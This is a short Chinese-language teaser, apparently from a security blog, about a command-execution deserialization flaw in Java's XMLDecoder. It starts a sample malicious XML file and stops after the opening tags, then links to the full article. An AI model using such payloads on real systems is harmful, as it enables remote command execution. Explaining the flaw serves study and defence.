XMLDecoder反序列化漏洞

Java 調用XMLDecoder解析XML文件的時候，存在命令執行漏洞。 樣例XML文件如下所示： 1 2 3 4 5 6 7 8 9 10 11 <? xml  version = "1.0"  encoding = "UTF-8" ?> < java  version = "1.8.0_131"  class = "java.beans.XMLDecoder" >      < object

>>阅读原文<<